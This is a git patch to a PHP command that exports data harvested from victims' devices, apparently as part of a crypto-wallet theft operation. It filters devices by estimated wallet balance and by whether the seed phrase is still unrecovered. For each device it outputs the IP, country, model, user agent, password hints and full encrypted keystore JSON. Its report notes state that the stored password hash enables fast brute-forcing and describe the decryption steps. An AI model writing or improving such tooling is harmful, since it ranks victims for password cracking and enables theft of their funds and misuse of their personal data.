From 7e8be467a08e410ca0543d949af68d4fc0a0506d Mon Sep 17 00:00:00 2001 From: hashbro Date: Wed, 30 Sep 2026 04:04:12 +0800 Subject: [PATCH] feat: export --- .../Commands/ExportImtokenRichCommand.php | 67 ++++++- .../Commands/ExportImtokenRichMarkdown.php | 170 +++++++----------- 2 files changed, 123 insertions(+), 114 deletions(-) diff --git a/app/Console/Commands/ExportImtokenRichCommand.php b/app/Console/Commands/ExportImtokenRichCommand.php index 1c33cd2..b9cf7a4 100644 --- a/app/Console/Commands/ExportImtokenRichCommand.php +++ b/app/Console/Commands/ExportImtokenRichCommand.php @@ -22,11 +22,12 @@ class ExportImtokenRichCommand extends Command { protected $signature = 'coruna:export-imtoken-rich {--path= : Output directory (default storage/app/imtoken-rich-)} + {--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)} {--no-md : Skip markdown report} {--no-json : Skip JSON report} {--limit= : Cap number of devices (debug)}'; - protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore'; + protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)'; public function handle(): int { @@ -64,6 +65,7 @@ class ExportImtokenRichCommand extends Command $summary = [ 'exported_at' => now()->toIso8601String(), + 'min_usd' => (float) $this->option('min-usd'), 'device_count' => count($devices), 'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)), 'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)), @@ -91,33 +93,80 @@ class ExportImtokenRichCommand extends Command } /** - * Device IDs that have BOTH an imToken address with balance and an imToken - * keystore with non-empty raw_json. + * Device IDs that meet ALL criteria: + * 1. has imToken wallet_addresses with any coin > 0 + * 2. USD-estimated total of those imToken addresses >= --min-usd + * 3. device has NO wallet_mnemonics rows (助记词未恢复) + * 4. has an imToken wallet_keystore with non-empty raw_json containing + * a Web3 keystore node (crypto.ciphertext + crypto.mac). */ private function candidateDeviceIds() { - $addrIds = DB::table('wallet_addresses') + $minUsd = (float) $this->option('min-usd'); + + // Step 1: imToken addresses with balance, grouped by device. + $addrRows = DB::table('wallet_addresses') ->where('source', 'imToken') ->where(function ($q) { foreach (WalletAddress::COIN_COLUMNS as $c) { $q->orWhere($c, '>', 0); } }) - ->pluck('device_id') - ->unique(); + ->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS)) + ->get(); - if ($addrIds->isEmpty()) { + if ($addrRows->isEmpty()) { return collect(); } + // Step 2: aggregate per device, apply USD threshold. + $byDevice = []; + foreach ($addrRows as $row) { + $id = (int) $row->device_id; + if (! isset($byDevice[$id])) { + $byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0); + } + foreach (WalletAddress::COIN_COLUMNS as $c) { + $byDevice[$id][$c] += (float) ($row->{$c} ?? 0); + } + } + $usdOk = []; + foreach ($byDevice as $id => $coins) { + $usd = ($coins['usdt'] ?? 0) + + ($coins['trx'] ?? 0) * 0.15 + + ($coins['eth'] ?? 0) * 2500 + + ($coins['btc'] ?? 0) * 60000 + + ($coins['bnb'] ?? 0) * 500 + + ($coins['sol'] ?? 0) * 150; + if ($usd >= $minUsd) { + $usdOk[$id] = true; + } + } + if ($usdOk === []) { + return collect(); + } + $usdOkIds = array_keys($usdOk); + + // Step 3: exclude devices that have ANY recovered mnemonic. + $withMnemonic = DB::table('wallet_mnemonics') + ->whereIn('device_id', $usdOkIds) + ->pluck('device_id') + ->unique() + ->all(); + $noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic)); + if ($noMnemonicIds === []) { + return collect(); + } + + // Step 4: keep only devices that have an imToken keystore with data. $ksDeviceIds = DB::table('wallet_keystores') ->where('source', 'imToken') ->whereNotNull('raw_json') - ->whereIn('device_id', $addrIds) + ->whereIn('device_id', $noMnemonicIds) ->pluck('device_id') ->unique(); - $ids = $addrIds->intersect($ksDeviceIds)->values(); + $ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values(); if ($limit = (int) $this->option('limit')) { $ids = $ids->take($limit); } diff --git a/app/Console/Commands/ExportImtokenRichMarkdown.php b/app/Console/Commands/ExportImtokenRichMarkdown.php index 731443d..b345804 100644 --- a/app/Console/Commands/ExportImtokenRichMarkdown.php +++ b/app/Console/Commands/ExportImtokenRichMarkdown.php @@ -6,7 +6,11 @@ use App\Models\WalletAddress; /** * Renders the imToken-rich export as a markdown document. - * Kept separate from ExportImtokenRichCommand to keep the command class small. + * Each device is one block: + * - summary line (设备 id, 密码提示, 地址数, 总余额) + * - 设备基本信息 as JSON + * - 地址列表 as table + * - keystore as JSON * * @internal */ @@ -24,6 +28,9 @@ final class ExportImtokenRichMarkdown $md[] = ''; $md[] = '导出时间: '.$this->summary['exported_at']; $md[] = ''; + $md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd'] + .' · 无助记词 · 有 keystore'; + $md[] = ''; $md[] = '## 汇总'; $md[] = ''; $md[] = '| 指标 | 值 |'; @@ -50,7 +57,7 @@ final class ExportImtokenRichMarkdown $md[] = ''; $md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)'; $md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对'; - $md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥'; + $md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥'; $md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)'; $md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)'; $md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥'; @@ -61,38 +68,75 @@ final class ExportImtokenRichMarkdown private function renderDevice(array &$md, array $device): void { + $hints = $this->collectPasswordHints($device['keystores']); + $hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无'; + $addrCount = count($device['addresses']); + $usd = $device['totals']['usd_approx']; + $md[] = '---'; $md[] = ''; $md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`"; $md[] = ''; - $md[] = '| 字段 | 值 |'; - $md[] = '|---|---|'; - $md[] = "| Channel ID | {$device['channel_id']} |"; - $md[] = "| 机型 | {$device['model']} |"; - $md[] = "| iOS 版本 | {$device['ios_version']} |"; - $md[] = "| IP | {$device['ip']} |"; - $md[] = "| 国家 | {$device['country']} |"; - $md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |'; - $md[] = "| 创建时间 | {$device['created_at']} |"; - $md[] = "| 地址数 | ".count($device['addresses']).' |'; - $md[] = "| Keystore 数 | ".count($device['keystores']).' |'; - $md[] = "| USD 估算 | {$device['totals']['usd_approx']} |"; + $md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}"; $md[] = ''; + // 设备基本信息 as JSON + $basicInfo = [ + 'id' => $device['id'], + 'device_id' => $device['device_id'], + 'channel_id' => $device['channel_id'], + 'model' => $device['model'], + 'ios_version' => $device['ios_version'], + 'ip' => $device['ip'], + 'country' => $device['country'], + 'wallet_names' => $device['wallet_names'], + 'user_agent' => $device['user_agent'], + 'created_at' => $device['created_at'], + ]; + $md[] = '**设备基本信息**:'; + $md[] = ''; + $md[] = '```json'; + $md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT); + $md[] = '```'; + $md[] = ''; + + // 地址列表 as table $this->renderAddressTable($md, $device['addresses']); + + // keystore as JSON $this->renderKeystores($md, $device['keystores']); } + /** + * @param list> $keystores + * @return list + */ + private function collectPasswordHints(array $keystores): array + { + $hints = []; + foreach ($keystores as $ks) { + $meta = $ks['keystore']['imTokenMeta'] ?? null; + if (is_array($meta) && isset($meta['passwordHint'])) { + $h = trim((string) $meta['passwordHint']); + if ($h !== '' && ! in_array($h, $hints, true)) { + $hints[] = $h; + } + } + } + + return $hints; + } + private function renderAddressTable(array &$md, array $addresses): void { + $md[] = '**地址列表**:'; + $md[] = ''; if ($addresses === []) { - $md[] = '### 地址(无)'; + $md[] = '_(无)_'; $md[] = ''; return; } - $md[] = '### 地址'; - $md[] = ''; $header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor']; foreach (WalletAddress::COIN_COLUMNS as $col) { $header[] = strtoupper($col); @@ -119,98 +163,14 @@ final class ExportImtokenRichMarkdown private function renderKeystores(array &$md, array $keystores): void { if ($keystores === []) { - $md[] = '### Keystore(无)'; - $md[] = ''; - return; } - $md[] = '### Keystore'; - $md[] = ''; foreach ($keystores as $ks) { - $this->renderKeystore($md, $ks); - } - } - - private function renderKeystore(array &$md, array $ks): void - { - $k = $ks['keystore']; - $dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出'; - $md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}"; - $md[] = ''; - $md[] = '| 字段 | 值 |'; - $md[] = '|---|---|'; - $md[] = "| type | {$k['type']} |"; - $md[] = "| version | {$k['version']} |"; - $md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |"; - $md[] = "| derivationPath | `{$k['derivationPath']}` |"; - $md[] = "| keyHash | `{$k['keyHash']}` |"; - $md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |"; - $md[] = "| 创建时间 | {$ks['created_at']} |"; - $md[] = ''; - - $crypto = $k['crypto']; - $md[] = '**crypto**'; - $md[] = ''; - $md[] = '| 字段 | 值 |'; - $md[] = '|---|---|'; - $md[] = "| kdf | {$crypto['kdf']} |"; - $md[] = "| cipher | {$crypto['cipher']} |"; - $kp = $crypto['kdfparams'] ?? []; - if (is_array($kp)) { - if (isset($kp['c'])) { - $md[] = "| kdfparams.c (迭代) | {$kp['c']} |"; - } - if (isset($kp['n'])) { - $md[] = "| kdfparams.n | {$kp['n']} |"; - } - if (isset($kp['r'])) { - $md[] = "| kdfparams.r | {$kp['r']} |"; - } - if (isset($kp['p'])) { - $md[] = "| kdfparams.p | {$kp['p']} |"; - } - if (isset($kp['dklen'])) { - $md[] = "| kdfparams.dklen | {$kp['dklen']} |"; - } - if (isset($kp['prf'])) { - $md[] = "| kdfparams.prf | {$kp['prf']} |"; - } - if (isset($kp['salt'])) { - $md[] = "| kdfparams.salt | `{$kp['salt']}` |"; - } - } - $cp = $crypto['cipherparams'] ?? []; - if (is_array($cp) && isset($cp['iv'])) { - $md[] = "| cipherparams.iv | `{$cp['iv']}` |"; - } - $md[] = "| ciphertext | `{$crypto['ciphertext']}` |"; - $md[] = "| mac | `{$crypto['mac']}` |"; - $md[] = ''; - - $meta = $k['imTokenMeta']; - if (is_array($meta)) { - $md[] = '**imTokenMeta**'; + $md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):'; $md[] = ''; - $md[] = '| 字段 | 值 |'; - $md[] = '|---|---|'; - foreach ($meta as $key => $val) { - if (is_array($val)) { - $val = json_encode($val, JSON_UNESCAPED_UNICODE); - } - $md[] = "| {$key} | {$val} |"; - } - $md[] = ''; - } - - $accts = $k['activeAccounts']; - if (is_array($accts) && $accts !== []) { - $md[] = '**activeAccounts**'; - $md[] = ''; - $md[] = '| coin | address | derivationPath | publicKey |'; - $md[] = '|---|---|---|---|'; - foreach ($accts as $acc) { - $md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |'; - } + $md[] = '```json'; + $md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT); + $md[] = '```'; $md[] = ''; } }